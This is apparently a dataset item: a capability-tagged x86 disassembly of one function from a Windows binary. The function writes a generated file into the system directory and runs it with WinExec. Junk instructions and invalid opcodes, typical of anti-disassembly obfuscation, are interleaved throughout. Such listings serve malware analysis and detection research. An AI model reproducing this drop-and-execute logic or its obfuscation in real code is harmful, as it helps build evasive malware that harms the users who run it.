Function at 0x403a20
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x43b]
mov byte [ebp - 0x43c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x233]
mov byte [ebp - 0x234], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xc], dl
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov byte [ebp - 3], al
push eax
push ebx
push edx
xor ax, 0x507e
sub eax, eax
or dl, bh
test ah, bl
add dl, bh
sub al, 0x1a
inc dl
add eax, esi
mov edx, 0x5ac0
test ah, 0x47
pop edx
pop ebx
pop eax
lea ecx, [ebp - 0x43c]
push 0x208
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
jbe 0x403ac3
sbb bh, dh
ret 0xc603
mov bx, bx
mov esi, esi
ja 0x403ac3
invalid
lea edx, [ebp - 0x234]
push 0x104
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 3
lea eax, [ebp - 0xc]
push 6
push eax
call fcn.00404060
add esp, 0xc
jb 0x403afc
push edi
mov di, 0xf403
pop edi
jae 0x403afc
jecxz 0x403b4c
out dx, al
jb 0x403a94
cwde
sbb al, byte [ebx + 0x4ad860f0]
aam 0x8d
dec ebp
hlt
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0x234]
push ecx
push edx
lea eax, [ebp - 0x130]
push 0x4061d4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
jl 0x403b2c
push edx
mov edx, 0x1e619b59
pop edx
jge 0x403b2c
lea ecx, [ebp - 0x130]
push 0x4061e0
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x18
test esi, esi
mov dword [ebp - 0x18], esi
je 0x403e13
add byte [eax], al
je 0x403b5e
xchg si, si
xchg bh, bh
mov ebx, ebx
jne 0x403b5e
fsub st(7)
test al, 0x4d
xchg ebp, eax
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
test edi, edi
mov dword [ebp - 0x10], edi
jne 0x403b85
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jp 0x403b96
push ax
mov ax, 0x8ad1
pop ax
jnp 0x403b96
ror dword [edx + 0x57b5866], 1
cld
call 0x693d1b2e
add byte [eax + eax], al
add al, ch
invalid
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x403bc1
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
xor si, 0x34f4
or esi, edx
cmp esi, eax
add cl, 0x41
xor ebx, 0x389
xor si, 0x4b69
test dl, ch
add si, 0x5046
popal
mov edi, dword [ebp - 0x10]
mov ecx, 0x100
xor eax, eax
rep stosd dword es:[edi], eax
jp 0x403c0b
push dx
mov dx, 0x9441
pop dx
jnp 0x403c0b
jbe 0x403b8b
aad 0x3a
wait
cmp cl, al
iretd
mov edi, dword [ebp - 0x14]
mov ecx, 0x100
rep stosd dword es:[edi], eax
pushal
and ah, bh
and bl, ah
test ax, 0x1c2e
sub dx, di
or eax, 0x5fe
popal
mov dword [ebp - 0x2c], 0x406194
mov dword [ebp - 0x28], 0x40619c
mov dword [ebp - 0x24], 0x4061a8
mov dword [ebp - 0x20], 0x4061c4
jle 0x403c5c
mov esi, esi
nop
jg 0x403c5c
jns 0x403caf
test al, 0x40
out dx, eax
insd dword es:[edi], dx
test ebx, esi
aaa
mov al, 0xa7
adc dword [ebp + 0x61e7cb6], edx
iretd
mov edi, 0x40617c
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [ebp - 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea eax, [ebp - 0x2c]
mov edx, ecx
mov esi, edi
mov edi, ebx
mov dword [ebp - 0x10], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 0x1c], 4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + ebx], 0xa
mov ecx, dword [ebp - 0x10]
mov edi, dword [ecx]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
ror dword [ebx - 0x367c05], 1
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x10]
add ecx, 4
dec eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
jne 0x403c8e
jbe 0x403ce7
push esi
pop esi
ja 0x403ce7
stosd dword es:[edi], eax
movsx eax, byte [ebp - 0x234]
mov esi, dword [ebp - 0x14]
lea ecx, [ebp - 0x43c]
push eax
lea edx, [ebp - 0x43c]
push ecx
push edx
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
je 0x403d15
xchg edx, edx
xchg si, si
jne 0x403d15
cmp esp, esi
add eax, 0x83fe8b7b
leave
push dword [ebx]
sal dl, 0xae
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + esi], 0xa
jl 0x403d31
push dx
mov dx, 0xbfd0
pop dx
jge 0x403d31
mov edi, 0x4061cc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [ebp - 0x14]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jp 0x403d68
mov esi, esi
mov al, al
jnp 0x403d68
adc dh, cl
in eax, dx
ja 0x403dbc
mov dh, 0x8b
inc ebp
call 0x512cb2fa
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
push eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
jp 0x403d93
mov esi, esi
mov al, al
jnp 0x403d93
adc dh, cl
in eax, dx
ja 0x403de7
mov dh, 0x8b
dec ebp
call 0xb8563ceb
push eax
inc eax
add byte [ebx - 0x7ff0d73c], al
sbb eax, dword [eax]
add byte [eax], al
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x28
les ebp, [eax]
jo 0x403dc1
push esi
pop esi
jno 0x403dc1
lahf
leave
jnp 0x403db4
push es
ficomp word [ebx + eax*8 + 0x5d7ee898]
dec ecx
wait
pushfd
ret
push ebp
inc edi
add dword [edi - 0x7c], 0xffffff8d
xchg ebp, eax
sar dh, 1
invalid
lea edx, [ebp - 0x130]
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
js 0x403df6
mov ebx, ebx
jns 0x403df6
dec esi
out 0x28, al
ja 0x403d9e
and eax, 0xdb7cad4a
dec ecx
mov dl, byte [ecx + eax*8 - 0x6d0f50b6]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 8
jle 0x403e13
push edi
pop edi
jg 0x403e13
hlt
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret